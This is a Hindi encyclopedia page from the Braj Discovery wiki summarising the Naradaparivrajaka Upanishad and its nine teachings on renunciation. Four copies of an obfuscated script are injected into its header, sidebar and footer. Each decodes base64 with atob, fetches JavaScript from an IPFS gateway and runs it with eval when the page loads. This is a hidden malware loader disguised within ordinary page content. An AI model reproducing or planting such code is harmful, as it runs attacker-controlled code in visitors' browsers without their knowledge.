नारदपरिव्राजकोपनिषद

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित ०१:५६, ५ मार्च २०१० का अवतरण (Text replace - '[[category' to '[[Category')
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • अथर्ववेदीय उपनिषद
    • अथर्वशिर उपनिषद|अथर्वशिर उपनिषद
    • गणपति उपनिषद|गणपति उपनिषद
    • गोपालपूर्वतापनीयोपनिषद|गोपालपूर्वतापनीयोपनिषद
    • नृसिंहोत्तरतापनीयोपनिषद|नृसिंहोत्तरतापनीयोपनिषद
    • नारदपरिव्राजकोपनिषद|नारदपरिव्राजकोपनिषद
    • परब्रह्मोपनिषद|परब्रह्मोपनिषद
    • प्रश्नोपनिषद|प्रश्नोपनिषद
    • महावाक्योपनिषद|महावाक्योपनिषद
    • माण्डूक्योपनिषद|माण्डूक्योपनिषद
    • मुण्डकोपनिषद|मुण्डकोपनिषद
    • श्रीरामपूर्वतापनीयोपनिषद|श्रीरामपूर्वतापनीयोपनिषद
    • शाण्डिल्योपनिषद|शाण्डिल्योपनिषद
    • सीता उपनिषद|सीता उपनिषद
    • सूर्योपनिषद|सूर्योपनिषद

</sidebar>

नारदपरिव्राजकोपनिषद

  • अथर्ववेद से सम्बन्धित इस उपनिषद में परिव्राजक संन्यासी के विद्वान्तों और आचरणों आदि का विस्तृत विवेचन किया गया है। इस उपनिषद के उपदेशक महर्षि नारद हैं।
  • इस उपनिषद के कुल नौ खण्ड हैं, जिन्हें उपदेश की संज्ञा प्रदान की गयी है।
  • नारद जी परिव्राजकों के सर्वश्रेष्ठ आदर्श हैं। उनके उपदेश ही उनके आचरण हैं।
  1. प्रथम उपदेश में नारद जी शौनकादि ऋषियों को वर्णाश्रम धर्म का उपदेश देते हैं।
  2. दूसरा उपदेश में नारद जी शौनकादि ऋषियों को संन्यास-विधि का ज्ञान कराते हैं।
  3. तीसरे उपदेश में नारद जी संन्यास के सच्चे अधिकारी का वर्णन करते हैं।
  4. चौथे उपदेश में संन्यास-धर्म के पालन का महत्त्व दर्शाया गया है।
  5. पांचवे उपदेश में संन्यास-धर्म ग्रहण करने की शास्त्रीय विधि का उल्लेख किया गया है। साथ ही संन्यासी के भेदों का भी वर्णन किया गया है।
  6. छठे उपदेश में तुरीयातीत पद की प्राप्ति के उपाय तथा संन्यासी की जीवनचर्या पर प्रकाश डाला गया है।
  7. सातवें उपदेश में संन्यास-धर्म के सामान्य नियमों का तथा कुटीचक, बहूदक आदि संन्यासियों के लिए विशेष नियमों का उल्लेख किया गया है।
  8. आठवें उपदेश में 'प्रणव' अनुसन्धान के क्रम में उसे पाने का विस्तृत विवेचन किया गया है।
  9. नवें उपदेश में 'ब्रह्म' के स्वरूप का विस्तृत विवेचन है। साथ ही आत्मवेत्ता संन्यासी के लक्षण बताकर उसके द्वारा परमपद-प्राप्ति की प्रक्रिया का उल्लेख किया गया है।

अहं ब्रहृमास्मि,अर्थात 'मैं ही ब्रह्म हूँ' का, जो दृढ़निश्चयी होकर 'ओंकार' का ध्यान करता है, वह स्थूल, सूक्ष्म और कारण शरीर का त्याग कर, अहंकार और मोह से मुक्त होकर, मोक्ष को प्राप्त करने वाला होता है।








उपनिषद के अन्य लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>